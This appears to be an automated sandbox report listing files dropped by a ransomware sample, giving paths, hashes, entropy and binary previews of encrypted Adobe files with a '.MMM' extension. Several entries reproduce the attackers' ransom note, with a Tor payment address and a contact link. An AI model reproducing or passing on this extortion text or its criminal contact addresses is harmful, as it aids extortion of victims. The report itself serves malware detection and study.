                                                        Preview:.:;.g.x..`.....H/.......v.KM.H.'.3._..K.$.I.A.X-..R*P..{P..).........Ot....E4..s.....c.....Z.J...[j{#.V......./.o.m...!r#...G.5?.t......o....E..6.!....I.T......6.a..x....cb.CH...C~...cd.F.c.1.N...6..t.ER.g.D >.HK.ye...@...&~F..d{rR.b...42V...=;/..k....}...?8..]t..m..c.6..a...W8.A+L....X..".0w...O....k.wLL..`t.4.8.l;..g_:....l...l......9..i.b.....O.|.T.#kV.K.#..*.S.Y7...Ic......PH...\.Hjy..!..&..h|..0..hC.i...pP.....~..#H.<...1...Ye..tzw.@:rD........(4..F.W......I...w..\....I...<...Qp..l;.....M.E{.4.s....(....s.?.....?s}..f=..'.A7+._.6.\..Zo..d.D.C...C.@.Ab.....&...X..u............... .....@#..L.E..4...Y...9.G...E..!.@-..}!....".f...3..fGn....uz.N..^.#.'.7....|.~...1.(.>xf.....;:..:..t.{v..w..miTx4...iH...M..-'..I..s.9..W.^..9V.F...!2.g..*.rr..Sg.+m....U..n..Q.\..F..G6....{.Q.~~C......hB.....I:....KH..@.....q\..>......k...G..s.q.{....v.H....Y.A.+:.....`..["E...W../x.9C..=.i4h.>..\.......1...9....<lc.^F.\....E.6:z...>.@......

                                                        C:\Documents and Settings\All Users\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrManifest3.msi.MMM (copy)

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:DOS executable (COM, 0x8C-variant)
                                                        Category:dropped
                                                        Size (bytes):14929
                                                        Entropy (8bit):7.987959067243666
                                                        Encrypted:false
                                                        SSDEEP:384:UgQNPTM9u3cVE27tJr1SccKEQ4hOrGWLwSlz+tmLVvQM51RQ:UgWTMM3cVE2JpcZQ4/3SNj5Q0I
                                                        MD5:7EB661B9862C95120AA1F90AAC2855CF
                                                        SHA1:F33E17534C298B76BE7AD5E89AC4AA2C18941C21
                                                        SHA-256:C549D6116DE42745BA7482E3B6640FB35A8A89FBA360821ABE2C82B513B64308
                                                        SHA-512:B6622D8A38E581C61500E091D2484B74333131B9DC926EDCEC975839CFAB7C900A50D797455CAEECAE41E843BE71DC80D66277757C9DC25BEC547CEE88968822
                                                        Malicious:false
                                                        Reputation:low
                                                        Preview:....%.[axOG...I...B...p.[(.g..:...[p8...V.gV....\K.Sz.+.._1L..nZw%#..Xus;..H.2F).d...2}...v.... ...O(/1.H.l....X7JZ..].@.n...K.L....V..q......[....l..#.x....!)o...;.,.....e.cg...9X.Yz.....F`hH.....+A;...A<..R]._.{.<=Z..|.M...`T.^...d.".......-..n..4.Zj^er~,g#..J....q...r......e&F...;FhN...J....ts.3..z......-......0.jn.........n...D.4=y.<.......1&K..rP.Il..3u..|...Pv..}...Mch..r.n.......d.-....?s......s.>=...uY.9N;1...*j...../..v.[s...c.}}K#"...<...J..o..xX.!...e.+ZQ...".M.v..F..........4=.......u....aaoF9.(....'...NO.qM..V.....Q%...$.....U..,.<.G+?VP....p..*.x.............-..V.,.&.7......U...-...{.....[..O.$.L.t...7.V...''c..^.q........s._XV$.vQ.c..X.....%..\....<.$.....O.R1....B.....b.1=..._J.GC...W..E..y...T..G..7WV%K.4...V.S.../b.x.....,.xt........f..%.cqrszZS] .8......B...4.....8 HRLU...j.@....^@..].kk.x@.:.........e ....e..:.......6t?a.-...W'...g..".NnOf!.2..........d|...{2.....tPN...Z....%......%.k...'.k..FQ.p.{..njw..;`...X4x.).

                                                        C:\Documents and Settings\All Users\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe.MMM (copy)

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):177793
                                                        Entropy (8bit):7.9989609442602605
                                                        Encrypted:true
                                                        SSDEEP:3072:fYPLjLpYlOgB/L8jMcTUV8PrsJ+7JeX59qalXS8xxZbGRtzZdFGXkNZKYLMWdu:f2Hp+1ArDoWep9qZgA5bYIZKYLMsu
                                                        MD5:F084C6D8D258F7EC584C3B3EC412D71B
                                                        SHA1:B27A71D4601D63D39347CEF0602197AAFEACB04E
                                                        SHA-256:E46D93F044EF208888700DA8687B422A04658FEADB135F8DA0FC942B8870CC90
                                                        SHA-512:C86BA7869946D56283C66C6909D77A8A34BCE768D0EDD5E0F11AD1CA24C3A9CEAA1FF81DA1AC5942A5621179552A81139DFE5F87221E9D4F2C5204235A139C60
                                                        Malicious:false
                                                        Reputation:low
                                                        Preview:f.....n..q.W)*........s...".b........6.[vT.Q...=Z..h#{..4.T..B7z..q.p....>5.d...U.?..Y.........H.U.C68Y....Qt...DV.Y{..x.O...2.|.=.!.g.L.)..'..Yw.w'..n......+..n....#.G...34w..j.8xN=j..j.}.....k..."CovV.e..1.......a.|...c)....F&G...y...x?.....+xz..'......vg..*.o.f\P.a.K....._._G.v......|...X_..=......7...~..c./..(ksQ..u0...p+.&...JC6z....YV..5..e......1f..(....}Uy...m..\..W....Z.".\..Q..E1Fx.MXE..wn..d..@.h....E>..k.&....~../..{.......u#m.... .6..........t..f.^=s.J.....!B).x..).N.H..K......\.2:....K._"v.f......Y..;...N.Y..@..Y2.n.i....P....VX..........:.;....X..S2..*.`(.a........!{..I<.............L..p?N...Q.......}o....i(6q.M..H.s.J...&.4....,C./.h..f..o...|(.p9.u.U.....#.<a:.y...../.}J....{.O.c..-..B.B.>|5+..V.!/1.....].>.x0..5......o^....M\...vK...7y..........Ep...;=..'.0;..]....F...,I... ..........U....>..y<..AJ.d@.3u.6....zG..#.2.F#uB6./W.....^..i...1._*..j+..j..L......W..f.[......b#.....'..?..[~..S.E.5..x...?6..!...hk_.a

                                                        C:\Documents and Settings\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\AcroRdrDCUpd1901220034.msp.MMM (copy)

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:OpenPGP Public Key
                                                        Category:dropped
                                                        Size (bytes):244416593
                                                        Entropy (8bit):6.91320783567029
                                                        Encrypted:false
                                                        SSDEEP:6291456:rWCpELQzJo3S/buKi8FpgpeNcOf77ntTVU5EAb2XO9on:rWCpELQzWKi8FpgpeNcOf77ntTVU5EAK
                                                        MD5:FACBC1053B223ABBCA40D21DDEDF3A89
                                                        SHA1:E5084433A22D6319DF7DEDD3A15A6D0F127A8AF7
                                                        SHA-256:B8FCD9B0DA41987B60B39449FA039EACBF99B581D1EB6EE4ACB0E60E5D5462EE
                                                        SHA-512:1A567CF1CC06921CEDB2D4442DA5E79D185B95D495229B721AB0662F1D379EC4B577C61399CE108BEC0D4D1C9AC6D9D5D0E6818EEC6D32F13A664C4FA7A43EA3
                                                        Malicious:false
                                                        Reputation:low
                                                        Preview:....y8.1.?....!jS..bS7/.g...y^.>..D`4l.bWs=....I....E.R....x.Ukz...J..g.........`/*:q/..B.{Ev&.HR+{^..4.6..<..RK.<..RWi...sg./.._.!.Kl0:.X..b]..s....W|.......R..sj..~.Q.J..iI.E`k.I8....*(e..A.G...'.{.x..N....L.=zA..X.....gp.*....4......I..CX....l-.X....e5$...L5...x_._....pM%....I...d.,....#..N.M$...N..l.......tX..(.7.1...R....F..U...K.@....u.0!a"..x...,.I.q..&..O......fG.F.Y.E.p....B_.b..5%...jg....5..Jo.......&L=,....(%.*%@....5x$.`...ra.P..3FM._.VnJW.".=.<}..}._..L..N'.Jz/...<.@s.`.U\..T.../..P@..A......dE.q.U..jG..k..A.AeB..6n...a..Nb.9{h.......s..V.z5...{.U#.V....~.aUQ...k_....LM..c..&.....BR...w...(..=..:.N4....(>0o?.R...r6.0...y.v.......h..c...VMa.j...0...B.'...J........x..q$@d.....:o'..>Rb...ce.c..w.mt...K....,......L&...a.H...~c.$..;sv..4.{......I=.@.".y....Sp.D....@.JX...U.......B"!.h..DS...9.7.....a.kbNx/..)..+J....2.k\-..Q.A...?.X..Z#..v.._\....q....:....]..{..K....[).....DeqP..4h.=.X....S.~....oW.ZWY...[...V<....kY.u0."......

                                                        C:\Documents and Settings\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\AcroRead.msi.MMM (copy)

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):2793041
                                                        Entropy (8bit):6.46637809263449
                                                        Encrypted:false
                                                        SSDEEP:49152:ZziqNAPKzy5Xw303cZCJKQpgo1kjJavJuufyD:bAPKzcVkIlpn6gzqD
                                                        MD5:31DD66E7DDDF20A4CFC32FC31DCE6384
                                                        SHA1:DFFEE96AC3F80CABD7FE4C58366908879ECFBCB5
                                                        SHA-256:F8684C79E3BCF27CC0CC3232FCB0A486D3BA03E54F7045254F5178CDFF51B894
                                                        SHA-512:B7D60ADD26737B578DF1A897DE0FBB8A41AAC3F80E8AFED82C6A30D532C821CC2BF31C3E523CBFB1FD5543300F11870B8C8D4B47F169644FEA3E8CC5A814C5A6
                                                        Malicious:false
                                                        Reputation:low
                                                        Preview:.......c]..e..+7B.K.N.....}.l...D>..jZ..|.....5...C..&8n..UvZ.g.....8.2.?.[:...j.1M...5.k,.P.Q..o)G...$.'.../..M.z.t>o.%...Y..].[0J..3..0......U...n...^..K.f+1C....4..j."....\..0PS.&.....&...w..c.v..`3."h..?.5...D.c.!Z<X.#.L..M4.E.M.6<....8|.,iN...1.ND...O.v_............n2Nc....PA....MC+O*..%.nVC.E......c..+.S..%......[..3...........c..F..)>....".g.....S<FtI..E.r..._..F.8..../4$y..T!*...8.'l.c..c..Q+..J7..M......)..4J..ay....^...!A..+..\......,a...&..L..( ?...".4._.......".g{.q.?`6W.....L...3..I...o.y'.....k..W......b[.l..AEb..N;....8O&]u.pM....Q....4.....m/@.w.M+.h.|D..3h.V..i.,.h.O..a-1S..V..Y.......":.S!......7b..J.PW......j3.../@.....0...K...i.l.b4(.K...|.......s#.cSw,...s.b.:...9.*SX..8...<J[:.L..s....p.D....q..N. Fs....{.q.u}"....7|g:.7..b.U.zz.&.BQ$7..5.z..-.Hi...[.Wf.J..[t/....N0.._.-....I.wJ...Z...s.....b.NT....bS.~1.N..6....G..L.]...)IU&...J.d@:..o.{....B,.;....L"f....^.V.m..gL".<|.....D!= ..aB.._`&q....(...,*..A.;...}.G..

                                                        C:\Documents and Settings\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\Data1.cab.MMM (copy)

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):175114124
                                                        Entropy (8bit):6.834603938914096
                                                        Encrypted:false
                                                        SSDEEP:3145728:ipIFJHdDdl9HCH6eRwZ+zU5IZ+zix/5bg5hc:ikdXXHCHJeZ+zU5IZ+zix/G5hc
                                                        MD5:844D7231EA4343E14ADA57F0DB522052
                                                        SHA1:918F2F0B52B83055584D54978FECBD08A378820E
                                                        SHA-256:349840B42E716D522F62E3E34772F68BEF3BCDC9180D54677E90306E67DA75B8
                                                        SHA-512:BBDB633613B16FAB99EA73A982ED7FCB066CFA94F06ECE2924F9BC5E632594456B9E561CE604B2DEE53004D89C13526B4D4C8C877FB3097C6E1BBA4071278158
                                                        Malicious:false
                                                        Reputation:low
                                                        Preview:PH.....;.S}iN?TO"U.T...f.q..#..d.3.I.E2#.A."..>...UF.".A..........BW....$..9oh.kf.M..+x..?..,|..1:.C...K..2&.....X...#D/K.x?..a.LN......}..O..{...9Ro.8Bc.[.{..$.4..H...,....L......ONv.&.<...M.......Lu...1..S.o...+.u...2.8)...Z.&M...j$.I9.`.....K6....!.vLY@.IC...wu.(.f.......R...<.@..9.....8.G.tv..u.+.-\.^......Ab.....J..1T..+L>.`.....0...../.L04.s.'A.{..jA|...}u.!sc.&.q..,....^F..j`...A......bT.j.f..;"..d...JA}[UW.s...{W...p;B..b.(jD..R..6a.<.9>&........S..X&..P.@....pRp!..ma.O7....P...?A.1m...ZX..w..U..G..*.A.tw..7..'..p....d...x.......2)..U...dW.....&......r9.3.....\....c....."g.b....Ej5..6.*l..4M..->V$........K.w.b`,...y...w....Ot.-Bf@.........#....U4.!.2.f.9Q>c.(,..*<...+..T..Z.r...".......,k..0.E.......;5_N.k..].h.K..Zk_{.~Gy^.`...d./:....s..1.f......"j}.4.."3....?$..t.x*n`......$x)..&.z........<...3..\.W...).S....q.../ o2^2...Y3h...}.....@.[.....Q..^..^W.k..x..$.... Q|.^...GW.3..[/^c.......RUn.9-X.b.^..}...`Of.E].Wy....B)8Nb`....

                                                        C:\Documents and Settings\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\abcpy.ini.MMM (copy)

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):689
                                                        Entropy (8bit):7.7522103489568925
                                                        Encrypted:false
                                                        SSDEEP:12:+m/I7jsRqUWsw2fPHWQwCqoGaHeykkR2iITxxcXJsRT+3pkDIBMRUnVRhQ22Ks:+mA7zUTlOAzJ2icmgT+ZxMRT
                                                        MD5:DB97C7D0208B596AA26C8D7B945BAB56
                                                        SHA1:6D162AACE1DC59DD4DF28B0018E8EF6798F146A2
                                                        SHA-256:25500BCDD1B526E1EBF6457595DDA449DCE232FF7D80F99AB78C58F8232C4AF8
                                                        SHA-512:14C92829FE7A739B62810B783605036DFF57F57EED7C6ECEBB54D6ACE05532BE9173CFBBB22A0B39E6C66DE0E47C4E13E4025F0A7A32C57BE5855207358F9060
                                                        Malicious:false
                                                        Reputation:low
                                                        Preview:..5..^.).....ia!..9.o.q.......].}.."..X......x...Y....BC.Ih.1@.2H.....aA.[..].uLH?M.B.{D......NH<.S.r.Pv.o...<...G..z+........8l..r...&.L..W.W.7..S..[..I5j.e.M.N..^......e..{.F..!.?H..k.Vh..8a....=..F}...G.+..<m...l_Onw..2jS.....&w:,.....-".Mm.%.<..j......#ly.2j......-Z..&.b)u5.......C.n%ze.4....j&.M...i.u.t..gB..DHc............P.7V.J.>&z.:.A...$.iK..%...c....f...u....).........C......:.42..V}UU9...E.'..VF./...~....RQQ....|.H.~.E;...<...JQ.K)J...[.#...CA.S.o..NU.Q.K_.7..,...,..w0.%.k.UrZ/....NL.O....0.r...4.+...hS.........0%..o.MO.0B..px..^6).@._.........8..E.v}...vI.a.a..P.q.[....r..(..F..].E.j$.sJu...5..T`.........n.}....k.[.ZCRYPTO LOCKER

                                                        C:\Documents and Settings\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe.MMM (copy)

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):464961
                                                        Entropy (8bit):7.999633053789186
                                                        Encrypted:true
                                                        SSDEEP:6144:m9Ith0KMRGETltLPWGn1TmBK6ZDxfWkb80RohbAyhDj1fwNlVWzSoWxrhgnm9uHw:m9jUETbLPTN76JxfWQBRUPnfWVaWngmb
                                                        MD5:AB551F2CE975F901F1D78E0D3A1956C5
                                                        SHA1:E0DA022C19E9AFFE77DC4E2EF5BEF74E060563C3
                                                        SHA-256:3F4DBCE248A1E7F2A9F2F7D5880ED78CC01E7636BF47757AFCD580BA4E30F106
                                                        SHA-512:DCA00038EDD324A38E3D2A0024A2604792A51BA84FF2D096D2CB552E05055374E36D1723C4EE51FD8FDAE85AF17C0B0368138F15803B41CA2916BF8E40C3B05D
                                                        Malicious:false
                                                        Reputation:low
                                                        Preview:...j...m...tw..3.J..~.0.....*z.Pw....q.hP.V..`....%...\C.#..tWZ.v...dR....@..>9[....:.X.|&...L&@.k....*l}.q..YAS.w...\Y..4:..Do!$N..%......H.......T.%../.(k..AU.a)...........q;>..*..6o.f.....0..oQ.C.=>.c...L.;y...$..Otc~..\......m.@.T&..d".....l...1....,r..X........,:.8.u.B.."..\.......j......f..v.5D.p....G..M.JL.<.........O~..& $5;..........-....._.`.......*.:..nWG!c....k....o.gl.b...2|..w...P........f.:4.P..>!x^...Y...;6q.. \.*..$..;..d.?.y.\R.V...........'..[/t....G....W.N....Y..Dd...j.8%..o.P.)....+..L....../j.B1.A.:>.q..X..Tf...!..*y.|..IN..!..s.o.?..z>...z......S..S.9.9 .M....zp..q.M.>..q\[.6.b.+..;...v...]...7U.\C..S..z.u.!.....o.H1@...s^/........7U..._U5.G../!0TY.L?.h.HdD..t.v:...@..p.36.............C.......N]2....I...Rt...$.C,.j.....U....l.~.48J...-|Wg....^..kq........+^.}..u.\nw.q.e...M..."...].E...%.Z #"}....C....j<w..t/V.SL....X.i3.o.-..t.w..v#.v...p..6.../>....!_....Ps....(..f......?.ga.....W/.........

                                                        C:\Documents and Settings\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.ini.MMM (copy)

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):295
                                                        Entropy (8bit):7.268241769598223
                                                        Encrypted:false
                                                        SSDEEP:6:MSD1wgJewcJShXVPF7u350VsMTm3aD++/U1dbM3wE7B5Y6qqZ2Ks:Mg1wCewiS1Vd7u350RT4aNgFE7B5Yq2d
                                                        MD5:C976EBA53385F4D381DEBD9D93266FFF
                                                        SHA1:99045380DF752EEE0966766461427ECBAE9276BA
                                                        SHA-256:7CCE08616E2BFA08D50ABE088A7D474EE528DCC0369DA0734C4E51FBDEB59B98
                                                        SHA-512:AFDFDF64318ADF9F45404AEDEA78B9FC1E5778607776B795B088480E751F87D436F026A8ADD8C32CE8BA53E9164A0A18C1F130C500BEFC6163CE43D51EE77E8F
                                                        Malicious:false
                                                        Preview:.t7n.~...V....U..t....d....X*5.u,y@n......D...In.+....Y..S..i...F..$.@.L#\...2..d!!..t...t.....9..3..>..Ee..1.L......k2......hl..,....I..yF.B.$..#.M1_.s..M....].Q...;l[..y7.......$..tX...UIp.a.?....P..w@...|.m.R......"........H..YJu...5..T`.........n.}....k.[.ZCRYPTO LOCKER

                                                        C:\ProgramData\Adobe\ARM\ReadMe.txt

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):850
                                                        Entropy (8bit):4.644135860444295
                                                        Encrypted:false
                                                        SSDEEP:12:YqWmbV88yBXgeSE1n4cCpn18IcttQlllYNpGfICFl7c+w+CznNuEJ55Spr:Dzu8yOtI4XMIcttgas3w+InN95M
                                                        MD5:B1028EA554C0E4F730515BEED3EB7AC5
                                                        SHA1:2FDE86F2C4E203916F916D1B099DBB6804E5B862
                                                        SHA-256:CD4A695D27E8B6E11853C312DD3248513DB382E97A4D804C176203CF525BF890
                                                        SHA-512:8CEBA2ADCB9BA9C1396F670CB419B7DA928F88DF3EB6C8D8F68B2A1250A11050CD259AC74DAB5B9D095EE5B16A1AEBC7CF454AA54108BE24FABE379138E30299
                                                        Malicious:true
                                                        Preview:Attention! ....All your files, documents, photos, databases and other important files are encrypted....The only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.......The server with your decryptor is in a closed network TOR. You can get there by the following ways:....----------------------------------------------------------------------------------------....1. Download Tor browser - https://www.torproject.org/ ..2. Install Tor browser ..3. Open Tor Browser ..4. Open link in TOR browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01UBXEAHOL ..5. and open ticket ....----------------------------------------------------------------------------------------..........Alternate communication channel here: https://yip.su/2QstD5....

                                                        C:\ProgramData\Adobe\ARM\Reader_19.012.20034\ReadMe.txt

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):850
                                                        Entropy (8bit):4.644135860444295
                                                        Encrypted:false
                                                        SSDEEP:12:YqWmbV88yBXgeSE1n4cCpn18IcttQlllYNpGfICFl7c+w+CznNuEJ55Spr:Dzu8yOtI4XMIcttgas3w+InN95M
                                                        MD5:B1028EA554C0E4F730515BEED3EB7AC5
                                                        SHA1:2FDE86F2C4E203916F916D1B099DBB6804E5B862
                                                        SHA-256:CD4A695D27E8B6E11853C312DD3248513DB382E97A4D804C176203CF525BF890
                                                        SHA-512:8CEBA2ADCB9BA9C1396F670CB419B7DA928F88DF3EB6C8D8F68B2A1250A11050CD259AC74DAB5B9D095EE5B16A1AEBC7CF454AA54108BE24FABE379138E30299
                                                        Malicious:true
                                                        Preview:Attention! ....All your files, documents, photos, databases and other important files are encrypted....The only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.......The server with your decryptor is in a closed network TOR. You can get there by the following ways:....----------------------------------------------------------------------------------------....1. Download Tor browser - https://www.torproject.org/ ..2. Install Tor browser ..3. Open Tor Browser ..4. Open link in TOR browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01UBXEAHOL ..5. and open ticket ....----------------------------------------------------------------------------------------..........Alternate communication channel here: https://yip.su/2QstD5....

                                                        C:\ProgramData\Adobe\ARM\S\436\AdobeARM.msi

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):991313
                                                        Entropy (8bit):7.9990201246328825
                                                        Encrypted:true
                                                        SSDEEP:24576:TbliH9GtddGSg1rCADtop3wSzuARoz0AhK7+xyL6A2oY0Ew:3ly4GtoUopZzBoAgxyL6AAw
                                                        MD5:456DB6602FF4BD9624DE947D045C6E9F
                                                        SHA1:9794BD59CBC5DF9870E19B018E7D364ECC3776A1
                                                        SHA-256:647650D503B8C27CDBF334F77CD40DC4048155B07788EE0C9C70D9BC02F39351
                                                        SHA-512:EAA3E240E0CE95CAA4EE52179C905445A60968CC440254369FFFD968D8E3724A4BE24B077AC1C688B3640A904A2673987D846EA428393B768ED1BBB0AB048920
                                                        Malicious:false
                                                        Preview:.j&.N.9Hnl.zV....F....?.....B..f.r.......=..x..Z./.?....la..........b"...zpx...`V..9#=...=.+...|.....XUx|...b....P..v..w... tn`x..>....F..^..?f.8I....i.yFz....=....f...;J<.`.j..H.]}s.U"(.V^T......{.z..g....W.%4y.d....,fe......5..|,.....vT$.:.iv...l....=5~v....P>l75...4{....4..XU....p...5.s.]......h.........({t{....v7.z.9{8.OE..1...s.'l...c$6|.|.O}...=%....C.@/.i.8..z.x.."1_.k.I2>...#....R.w.).n.`Z..p=..P.:.^8...F.6D....&.,).`,(...Z.....kEQ.......l..x.W'.J.H..A.$n9..pO.~....).......@.*3.X>WN%.|4..y..b.i%.\$.3.........N....@pb....q..-..Z..o...V.......{|..I=BYG.#C...EL..EV{k....&2./v.|/.E...y.n!...&..7.Cu......2..q.a.=...B....-K...h.uP0Ipi..I.....E.B.R..B.....9..~.P...P...s.l..%...n.T....7.r.*_y.....:.~=#.rJ%D..x....k(....o.]..04E1.gJ......&)..CB.q....VIG..-Y..@q....:.mb......?-._..r..0.&..6.....E..U..XU.w..#p.C..."'...qt.Ge..%U5.m2.Wh......w$ka.. i.).V:Sk.{..2'.w...H.?...'.~Gf...2.B.v-uSJ....?.I.<..i.\.H.6F.%...... ..!.G'.^X#...s...d.AJ....

                                                        C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):423545
                                                        Entropy (8bit):7.99959241384105
                                                        Encrypted:true
                                                        SSDEEP:12288:4b/ig9bd6EitBPHTJ7/djfO2m45uUV/6so:4bvtdirt7/dC2qmZo
                                                        MD5:15E3D7C8EE0F6C0CADDE1AE1BD165FA8
                                                        SHA1:3E067831AA6555144AB10556BC79657112F7345E
                                                        SHA-256:B09634574B49F9F2DD83B62C35EBC3E6AD08232B607CAC1891B0581B1EFFBC5A
                                                        SHA-512:01927CF86D83D03AD2036BAEDEA12F2A8EFB8A302375C2CA0CD17815A0373F66AB7C96DB8EF5447FFBDADA018E8ADCF0C9927E583EB670265AD67F4EB27E633C
                                                        Malicious:true
                                                        Preview:.:;.g.x..`.....H/.......v.KM.H.'.3._..K.$.I.A.X-..R*P..{P..).........Ot....E4..s.....c.....Z.J...[j{#.V......./.o.m...!r#...G.5?.t......o....E..6.!....I.T......6.a..x....cb.CH...C~...cd.F.c.1.N...6..t.ER.g.D >.HK.ye...@...&~F..d{rR.b...42V...=;/..k....}...?8..]t..m..c.6..a...W8.A+L....X..".0w...O....k.wLL..`t.4.8.l;..g_:....l...l......9..i.b.....O.|.T.#kV.K.#..*.S.Y7...Ic......PH...\.Hjy..!..&..h|..0..hC.i...pP.....~..#H.<...1...Ye..tzw.@:rD........(4..F.W......I...w..\....I...<...Qp..l;.....M.E{.4.s....(....s.?.....?s}..f=..'.A7+._.6.\..Zo..d.D.C...C.@.Ab.....&...X..u............... .....@#..L.E..4...Y...9.G...E..!.@-..}!....".f...3..fGn....uz.N..^.#.'.7....|.~...1.(.>xf.....;:..:..t.{v..w..miTx4...iH...M..-'..I..s.9..W.^..9V.F...!2.g..*.rr..Sg.+m....U..n..Q.\..F..G6....{.Q.~~C......hB.....I:....KH..@.....q\..>......k...G..s.q.{....v.H....Y.A.+:.....`..["E...W../x.9C..=.i4h.>..\.......1...9....<lc.^F.\....E.6:z...>.@......

                                                        C:\ProgramData\Adobe\ARM\S\436\ReadMe.txt

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):850
                                                        Entropy (8bit):4.644135860444295
                                                        Encrypted:false
                                                        SSDEEP:12:YqWmbV88yBXgeSE1n4cCpn18IcttQlllYNpGfICFl7c+w+CznNuEJ55Spr:Dzu8yOtI4XMIcttgas3w+InN95M
                                                        MD5:B1028EA554C0E4F730515BEED3EB7AC5
                                                        SHA1:2FDE86F2C4E203916F916D1B099DBB6804E5B862
                                                        SHA-256:CD4A695D27E8B6E11853C312DD3248513DB382E97A4D804C176203CF525BF890
                                                        SHA-512:8CEBA2ADCB9BA9C1396F670CB419B7DA928F88DF3EB6C8D8F68B2A1250A11050CD259AC74DAB5B9D095EE5B16A1AEBC7CF454AA54108BE24FABE379138E30299
                                                        Malicious:false
                                                        Preview:Attention! ....All your files, documents, photos, databases and other important files are encrypted....The only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.......The server with your decryptor is in a closed network TOR. You can get there by the following ways:....----------------------------------------------------------------------------------------....1. Download Tor browser - https://www.torproject.org/ ..2. Install Tor browser ..3. Open Tor Browser ..4. Open link in TOR browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01UBXEAHOL ..5. and open ticket ....----------------------------------------------------------------------------------------..........Alternate communication channel here: https://yip.su/2QstD5....

                                                        C:\ProgramData\Adobe\ARM\S\ReadMe.txt

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):850
                                                        Entropy (8bit):4.644135860444295
                                                        Encrypted:false
                                                        SSDEEP:12:YqWmbV88yBXgeSE1n4cCpn18IcttQlllYNpGfICFl7c+w+CznNuEJ55Spr:Dzu8yOtI4XMIcttgas3w+InN95M
                                                        MD5:B1028EA554C0E4F730515BEED3EB7AC5
                                                        SHA1:2FDE86F2C4E203916F916D1B099DBB6804E5B862
                                                        SHA-256:CD4A695D27E8B6E11853C312DD3248513DB382E97A4D804C176203CF525BF890
                                                        SHA-512:8CEBA2ADCB9BA9C1396F670CB419B7DA928F88DF3EB6C8D8F68B2A1250A11050CD259AC74DAB5B9D095EE5B16A1AEBC7CF454AA54108BE24FABE379138E30299
                                                        Malicious:true
                                                        Preview:Attention! ....All your files, documents, photos, databases and other important files are encrypted....The only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.......The server with your decryptor is in a closed network TOR. You can get there by the following ways:....----------------------------------------------------------------------------------------....1. Download Tor browser - https://www.torproject.org/ ..2. Install Tor browser ..3. Open Tor Browser ..4. Open link in TOR browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01UBXEAHOL ..5. and open ticket ....----------------------------------------------------------------------------------------..........Alternate communication channel here: https://yip.su/2QstD5....

                                                        C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrManifest3.msi

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:DOS executable (COM, 0x8C-variant)
                                                        Category:dropped
                                                        Size (bytes):14929
                                                        Entropy (8bit):7.987959067243666
                                                        Encrypted:false
                                                        SSDEEP:384:UgQNPTM9u3cVE27tJr1SccKEQ4hOrGWLwSlz+tmLVvQM51RQ:UgWTMM3cVE2JpcZQ4/3SNj5Q0I
                                                        MD5:7EB661B9862C95120AA1F90AAC2855CF
